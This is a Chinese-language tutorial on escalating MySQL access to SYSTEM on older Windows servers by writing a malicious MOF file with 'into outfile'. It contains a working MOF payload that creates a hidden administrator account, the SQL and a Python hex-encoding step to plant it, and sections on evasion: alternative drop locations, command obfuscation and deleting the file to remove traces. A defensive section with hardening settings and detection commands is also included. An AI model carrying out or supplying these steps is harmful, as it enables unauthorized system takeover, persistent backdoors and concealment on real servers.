1. MOF提权技术背景解析
在Windows系统中,WMI(Windows Management Instrumentation)是一个核心管理框架,而MOF(Managed Object Format)文件则是WMI的重要组成部分。MOF文件本质上是一种用于定义WMI类、实例和事件的脚本文件,系统会定期编译执行这些文件。
MySQL服务在Windows环境下运行时默认以SYSTEM权限运行,这就为攻击者提供了一个潜在的提权途径。当攻击者能够通过Web应用漏洞获取数据库写权限时,就可以利用MySQL的into outfile功能向特定目录写入恶意MOF文件。由于系统会定期自动编译执行MOF文件,这就实现了从数据库权限到系统权限的跨越。
重要提示:MOF提权主要适用于Windows Server 2003及部分早期版本系统,在较新的Windows版本中由于权限控制更加严格,这种方法的成功率已经大幅降低。
2. 攻击环境准备与条件检测
2.1 前置条件验证
在实际操作前,必须确认目标环境满足以下必要条件:
- MySQL服务运行在Windows系统上(通常为Server 2003/2008)
- MySQL版本低于5.7(新版本默认禁止into outfile操作)
- 当前数据库用户具备FILE权限(可通过
select file_priv from mysql.user查询) - 能够获取Web目录的物理路径(用于上传MOF文件)
验证FILE权限的SQL语句:
sql复制SELECT user,file_priv FROM mysql.user WHERE user='当前用户名';
2.2 关键路径定位
MOF文件需要写入到系统的特定目录才能被自动执行,不同Windows版本路径略有差异:
| 系统版本 | MOF文件存放路径 |
|---|---|
| Win2003 | C:\Windows\system32\wbem\mof\ |
| Win2008 | C:\Windows\system32\wbem\Repository\ |
实际操作中,可以通过以下SQL探测可写目录:
sql复制select 'test' into outfile 'C:\\Windows\\temp\\test.txt';
3. MOF提权详细实现过程
3.1 恶意MOF文件构造
典型的提权MOF文件内容如下(以创建管理员用户为例):
mof复制#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net user hacker P@ssw0rd /add & net localgroup administrators hacker /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
这个MOF文件会在系统时间的秒数为5时触发,执行添加管理员用户的操作。在实际攻击中,攻击者通常会将其修改为更隐蔽的命令,如反弹shell或添加后门账户。
3.2 文件上传与执行
通过MySQL的into outfile功能将MOF文件写入目标位置:
sql复制select 0x4D4F4620...(MOF文件的十六进制编码)
into outfile 'C:\\Windows\\system32\\wbem\\mof\\evil.mof';
由于MOF文件内容可能包含特殊字符,建议先将其转换为十六进制格式。可以使用以下Python脚本进行转换:
python复制with open('evil.mof','rb') as f:
print('0x'+f.read().hex())
文件写入后,通常需要等待1-5分钟让系统自动执行。可以通过以下命令检查是否执行成功:
sql复制select load_file('C:\\Windows\\system32\\wbem\\mof\\evil.mof');
4. 防御措施与检测方法
4.1 系统防护方案
-
权限最小化原则
- MySQL服务不要使用SYSTEM权限运行
- 设置专用账户并严格限制权限
-
文件系统防护
powershell复制
icacls C:\Windows\system32\wbem\mof /deny everyone:(F)禁止非管理员用户写入MOF目录
-
MySQL安全配置
ini复制[mysqld] secure-file-priv = "NULL" local-infile = 0禁用文件导出功能
4.2 攻击痕迹检测
-
MOF文件监控
powershell复制Get-WmiObject -Namespace root\subscription -Class __EventFilter Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer检查异常的WMI订阅
-
日志分析重点
- MySQL日志中的into outfile操作
- 系统日志中的WMI活动记录
- 安全日志中的账户变更事件
-
文件系统异常检测
cmd复制dir /s /a C:\Windows\system32\wbem\*.mof | findstr /v /i "original"查找非系统默认的MOF文件
5. 实战中的经验技巧
5.1 绕过防护的变种方法
当遇到MOF目录不可写的情况,可以尝试以下替代方案:
-
利用定时任务
sql复制select 0x... into outfile 'C:\\Windows\\Tasks\\evil.job';Windows会定期检查Tasks目录中的任务文件
-
利用启动项
sql复制select 0x... into outfile 'C:\\Users\\Public\\Start Menu\\Programs\\Startup\\evil.vbs';需要重启系统才能触发
-
利用服务注册
sql复制select 0x... into outfile 'C:\\temp\\evil.dll';然后通过sc命令注册服务
5.2 隐蔽执行技巧
-
时间触发设置
修改MOF中的触发条件为不常见的时间点,如:mof复制"Where TargetInstance.Second between 30 and 35" -
命令混淆
jscript复制ScriptText = "eval(String.fromCharCode(110,101,116,...))";使用ASCII编码混淆命令
-
日志清理
成功提权后及时删除MOF文件:sql复制system del C:\Windows\system32\wbem\mof\evil.mof
6. 现代环境下的演变与应用
虽然经典MOF提权在较新系统中已难以直接应用,但其核心思路仍在演变:
-
WMI事件订阅攻击
通过PowerShell直接创建WMI持久化后门:powershell复制$FilterArgs = @{...} $ConsumerArgs = @{...} $Filter = Set-WmiInstance -Class __EventFilter -Arguments $FilterArgs $Consumer = Set-WmiInstance -Class ActiveScriptEventConsumer -Arguments $ConsumerArgs -
CLR集成利用
在SQL Server环境中,可以通过CLR集成实现类似功能:sql复制CREATE ASSEMBLY MyAssembly FROM 0x4D5A... WITH PERMISSION_SET = UNSAFE; -
混合攻击模式
结合其他漏洞如XXE、反序列化等实现文件写入,再通过MOF/WMI机制执行
在实际渗透测试中,理解这些传统技术的原理有助于发现现代系统中的类似弱点。防御方也需要从这些案例中学习,建立多层次的防御体系。